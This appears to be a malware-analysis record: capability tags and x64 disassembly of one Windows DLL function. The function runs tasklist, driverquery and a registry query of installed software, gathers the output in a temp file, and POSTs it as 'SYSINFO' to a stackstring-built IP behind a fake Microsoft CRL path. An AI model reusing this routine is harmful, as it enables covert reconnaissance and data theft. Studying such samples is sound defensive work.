Function at 0x180009adc
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete file
Enumerate device drivers on windows
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x18], r8d
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xe98]
sub rsp, 0xf60
mov rdi, rcx
lea rdx, [rbp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x240]
lea rdx, [0x180010cf4]
lea rcx, [rbp + 0x30]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov r14d, 0x400
lea r9, [rbp + 0x240]
lea r8, [0x180010cf8]
lea rcx, [rbp + 0x660]
mov edx, r14d
call fcn.18000cb8c
mov r15d, 0x60
lea rcx, [rbp - 0x38]
mov r8d, r15d
xor edx, edx
call sub.ntdll.dll_memset
xor eax, eax
xor esi, esi
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
lea r12d, [r15 + 8]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x30]
mov r13d, 0xc000000
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
lea rdx, [rbp + 0x660]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rbp - 0x40], r12d
mov qword [rbp - 0x80], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or ebx, 0xffffffff
test eax, eax
je 0x180009beb
mov rcx, qword [rbp - 0x80]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x240]
lea r8, str.cmd__C__tasklist.exe__SVC_____s_
lea rcx, [rbp + 0x660]
mov edx, r14d
call fcn.18000cb8c
lea rcx, [rbp - 0x38]
mov r8, r15
xor edx, edx
call sub.ntdll.dll_memset
xor eax, eax
lea rdx, [rbp + 0x660]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rbp - 0x40], r12d
mov qword [rbp - 0x80], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180009c8a
mov rcx, qword [rbp - 0x80]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x240]
lea r8, str.cmd__C__driverquery.exe_____s_
lea rcx, [rbp + 0x660]
mov edx, r14d
call fcn.18000cb8c
lea rcx, [rbp - 0x38]
mov r8, r15
xor edx, edx
call sub.ntdll.dll_memset
xor eax, eax
lea rdx, [rbp + 0x660]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rbp - 0x40], r12d
mov qword [rbp - 0x80], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180009d29
mov rcx, qword [rbp - 0x80]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x240]
lea r8, str.cmd__C__reg.exe_query__HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall___s_____s_
lea rcx, [rbp + 0x660]
mov edx, r14d
call fcn.18000cb8c
lea rcx, [rbp - 0x38]
mov r8, r15
xor edx, edx
call sub.ntdll.dll_memset
xor eax, eax
lea rdx, [rbp + 0x660]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rbp - 0x40], r12d
mov qword [rbp - 0x80], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180009dc8
mov rcx, qword [rbp - 0x80]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x240]
lea r8, str.cmd__C__echo______________s_
lea rcx, [rbp + 0x660]
mov edx, r14d
call fcn.18000cb8c
lea rcx, [rbp - 0x38]
mov r8, r15
xor edx, edx
call sub.ntdll.dll_memset
xor eax, eax
lea rdx, [rbp + 0x660]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rbp - 0x40], r12d
mov qword [rbp - 0x80], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180009e67
mov rcx, qword [rbp - 0x80]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x450]
lea rdx, [0x18001055c]
lea rcx, [rbp + 0x30]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea rax, [rbp + 0x450]
lea r9, [rbp + 0x240]
lea r8, str.cmd__C__copy__s__s_
lea rcx, [rbp + 0x660]
mov edx, r14d
mov qword [rsp + 0x20], rax
call fcn.18000cb8c
lea rcx, [rbp - 0x38]
mov r8, r15
xor edx, edx
call sub.ntdll.dll_memset
xor eax, eax
lea rdx, [rbp + 0x660]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rbp - 0x40], r12d
mov qword [rbp - 0x80], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180009f2d
mov rcx, qword [rbp - 0x80]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r8, [rbp + 0xeb0]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x450]
call fcn.18000ce8c
lea rcx, [rbp + 0x450]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test ebx, ebx
jne 0x18000a050
mov rbx, qword [rbp - 0x50]
mov rdx, qword [rdi + 8]
mov rcx, qword [rdi]
lea rax, [rbp + 0xea8]
lea r8, [rbp - 0x80]
mov r9d, 0x50
mov qword [rsp + 0x70], rax
lea rax, [rbp - 0x58]
mov dword [rbp - 0x80], 0x2e373132
mov qword [rsp + 0x68], rax
lea rax, [rbp + 0xeb8]
mov dword [rbp - 0x7c], 0x2e323731
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x60]
mov dword [rbp - 0x78], 0x2e383731
mov qword [rsp + 0x58], rax
mov eax, dword [rbp + 0xeb0]
mov word [rbp - 0x74], 0x3034
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x48], rbx
lea rax, str._pki_mscorp_crl_MSIT_20Machine_20Auth_20CA_202_1_.crl
mov qword [rsp + 0x40], rax
lea rax, str.POST
mov byte [rbp - 0x72], sil
mov qword [rsp + 0x38], rax
lea rax, [0x180010b80]
mov qword [rsp + 0x28], rax
lea rax, str.SYSINFO
mov qword [rsp + 0x20], rax
call fcn.180007c94
test eax, eax
je 0x18000a03e
mov r8, qword [rbp - 0x60]
test r8, r8
je 0x18000a026
mov rcx, qword [0x180013580]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbp - 0x58]
test r8, r8
je 0x18000a03e
mov rcx, qword [0x180013580]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x180013580]
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0xfa0]
add rsp, 0xf60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret